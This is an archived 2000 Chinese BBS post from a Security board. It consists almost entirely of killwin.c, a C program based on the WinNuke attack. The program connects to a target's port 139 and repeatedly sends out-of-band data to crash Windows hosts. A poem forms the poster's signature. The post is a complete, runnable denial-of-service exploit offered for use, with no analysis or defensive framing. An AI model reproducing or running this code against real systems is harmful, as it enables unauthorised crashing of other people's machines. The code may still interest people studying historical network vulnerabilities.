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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="184.htm">上一层</a>][<a href="328.htm">下一篇</a>]
<hr><p align="left"><small>发信人: cloudsky (小四), 信区: Security <br>

标  题: killwin.c <br>

发信站: 武汉白云黄鹤站 (Mon Apr 10 11:44:30 2000), 站内信件 <br>

/* killwin.c - winnuke idea, modifcation for me ONLY - napster */ <br>

#include <stdio.h> <br>

#include <netdb.h> <br>

#include <string.h> <br>

#include <unistd.h> <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <netinet/in.h> <br>

int x, y, sockdesc, port = 139, hits = 1; <br>

char *target, *str = "Later."; <br>

void parse_args(int argc, char *argv[]); <br>

void usage(char *progname) { <br>

  printf("Usage: %s <target> [-p port (Default 139)] [-t hits (Default 1)]\n <br>

", p <br>

rogname); <br>

  exit(-1); <br>

} <br>

void parse_args(int argc, char *argv[]) { <br>

  target = argv[1]; <br>

  if (argv[1][0] == '-') { <br>



    printf("Must specify a target.\n"); <br>

    exit(-1); <br>

  } <br>

  for(y=2;y<argc;y++) { <br>

    if (!strcmp(argv[y], "-p")) { y++; port = atoi(argv[y]); } <br>

    if (!strcmp(argv[y], "-t")) { y++; hits = atoi(argv[y]); } <br>

  } <br>

} <br>

void main(int argc, char *argv[]) { <br>

  struct sockaddr_in sin; <br>

  struct hostent *he; <br>

  if (argc < 2) usage(argv[0]); <br>

  parse_args(argc, argv); <br>

  sin.sin_family  = AF_INET; <br>

  sin.sin_port    = htons(port); <br>

  he = gethostbyname(argv[1]); <br>

  if (he) { <br>

    memcpy((caddr_t)&sin.sin_addr.s_addr, he->h_addr, he->h_length); <br>

  } else { <br>

    perror("Resolving"); <br>

  } <br>

  sockdesc = socket(AF_INET, SOCK_STREAM, 0); <br>



  if (sockdesc < 0) { <br>

    perror("socket"); <br>

    exit(-1); <br>

  } <br>

  if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) { <br>

    perror("connect"); <br>

    close(sockdesc); <br>

    exit(-1); <br>

  } <br>

  printf("Connected to [%s:%d].\n", target, port); <br>

  printf("Sending crash %d times...\n", hits); <br>

  for (x=0;x<hits;x++) send(sockdesc, str, strlen(str), MSG_OOB); <br>

  sleep(1); <br>

  printf("Done....\n"); <br>

  close(sockdesc); <br>

  exit(0); <br>

} <br>

-- <br>

            我问飘逝的风：来迟了？ <br>

            风感慨：是的，他们已经宣战。 <br>

            我问苏醒的大地：还有希望么？ <br>

            大地揉了揉眼睛：还有，还有无数代的少年。 <br>



            我问长空中的英魂：你们相信？ <br>

            英魂带着笑意离去：相信，希望还在。 <br>

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